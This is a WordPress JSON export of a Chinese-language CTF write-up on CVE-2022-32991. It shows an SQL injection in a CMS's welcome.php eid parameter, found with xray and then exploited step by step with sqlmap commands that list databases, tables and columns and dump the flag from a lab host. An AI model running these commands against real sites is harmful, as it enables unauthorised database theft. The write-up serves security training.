{"id":1976,"date":"2025-02-25T21:15:53","date_gmt":"2025-02-25T13:15:53","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1976"},"modified":"2025-02-25T21:20:16","modified_gmt":"2025-02-25T13:20:16","slug":"cve-2022-32991%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/02\/25\/cve-2022-32991%e6%bc%8f%e6%b4%9e\/","title":{"rendered":"CVE-2022-32991\u6f0f\u6d1e"},"content":{"rendered":"

\"Pasted<\/p>\n

\u9776\u6807\u4ecb\u7ecd\uff1a<\/p>\n

\u8be5CMS\u7684welcome.php\u4e2d\u5b58\u5728SQL\u6ce8\u5165\u653b\u51fb\u3002<\/p>\n

\u4e00\u3001\u4f7f\u7528xray\u8fdb\u884c\u6f0f\u6d1e\u626b\u63cf<\/h1>\n
xray.exe ws --basic http:\/\/eci-2ze05o4pw3vdg8y30v3a.cloudeci1.ichunqiu.com\/\nwelcome.php?q=1 --ho 3.html\n<\/code><\/pre>\n
\"Pasted<\/p>\n
\u4e8c\u3001\u67e5\u770b\u6f0f\u6d1e\u65e5\u5fd7\uff0c\u53d1\u73b0SQL\u6ce8\u5165\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u53c2\u6570\u662feid<\/h1>\n
\"Pasted<\/p>\n
\u4e09\u3001\u4f7f\u7528Sqlmap<\/h1>\n
1.\u63a2\u6d4b\u6570\u636e\u5e93<\/h2>\n
sqlmap -u 'http:\/\/eci-2ze05o4pw3vdg8y30v3a.cloudeci1.ichunqiu.com\/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34' -p eid --dbs --batch\n<\/code><\/pre>\n
    \n
  • -p  \u6307\u5b9a\u53c2\u6570<\/li>\n
  • --batch<\/code>\u00a0\uff08\u9ed8\u8ba4\u786e\u8ba4\uff09\u4e0d\u518d\u8be2\u95ee\u662f\u5426\u786e\u8ba4\u3002<\/li>\n
  • --dbs<\/code>\u00a0\u83b7\u53d6\u6570\u636e\u5e93
    \n\"Pasted<\/li>\n<\/ul>\n
    \u6210\u529f\u83b7\u53d6\u6570\u636e\u5e93\uff1actf<\/p>\n
    2. \u63a2\u6d4b\u8868\u540d<\/h2>\n
    sqlmap -u 'http:\/\/eci-2ze05o4pw3vdg8y30v3a.cloudeci1.ichunqiu.com\/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34' -p eid  -D ctf --tables --batch\n<\/code><\/pre>\n
      \n
    • -D \u6307\u5b9a\u6570\u636e\u5e93<\/li>\n
    • –tables \u83b7\u53d6\u8868\u540d
      \n\"Pasted<\/li>\n<\/ul>\n
      \u6210\u529f\u83b7\u53d6\u8868\u540d\uff1aflag<\/p>\n
      3.\u63a2\u6d4b\u5217\u540d<\/h2>\n
      sqlmap -u 'http:\/\/eci-2ze05o4pw3vdg8y30v3a.cloudeci1.ichunqiu.com\/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34' -p eid  -D ctf -T flag --columns --batch\n<\/code><\/pre>\n
        \n
      • -T \u6307\u5b9a\u8868\u540d<\/li>\n
      • –columns \u83b7\u53d6\u5b57\u6bb5<\/li>\n<\/ul>\n
        \"Pasted<\/p>\n
        \u6210\u529f\u83b7\u53d6\u5217\u540d\uff1aflag<\/p>\n
        4.\u67e5\u770b\u6570\u503c<\/h2>\n
        sqlmap -u 'http:\/\/eci-2ze05o4pw3vdg8y30v3a.cloudeci1.ichunqiu.com\/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34' -p eid  -D ctf -T flag -C flag --dump --batch\n<\/code><\/pre>\n
          \n
        • -C \u6307\u5b9a\u5217\u540d<\/li>\n
        • –dump \u83b7\u53d6\u6570\u636e
          \n\"Pasted<\/li>\n<\/ul>\n
          \u6210\u529f\u83b7\u53d6flag<\/p>\n
          \u56db\u3001\u5c1d\u8bd5\u53c2\u6570n\u662f\u5426\u6709\u6ce8\u5165\u70b9<\/h1>\n
          \"Pasted<\/p>\n
          \u4e94\u3001\u603b\u7ed3<\/h1>\n
            \n
          • \u4f7f\u7528\u6f0f\u6d1e\u626b\u63cf\u5de5\u5177<\/li>\n
          • \u4f7f\u7528Sqlmap\u5de5\u5177<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"
            \u9776\u6807\u4ecb\u7ecd\uff1a \u8be5CMS\u7684welcome.php\u4e2d\u5b58\u5728SQL\u6ce8\u5165\u653b\u51fb\u3002 \u4e00\u3001\u4f7f\u7528xray\u8fdb\u884c\u6f0f\u6d1e\u626b\u63cf xray.e […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,57],"tags":[6],"class_list":["post-1976","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-57","tag-sql"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1976","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1976"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1976\/revisions"}],"predecessor-version":[{"id":1977,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1976\/revisions\/1977"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1976"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1976"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1976"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}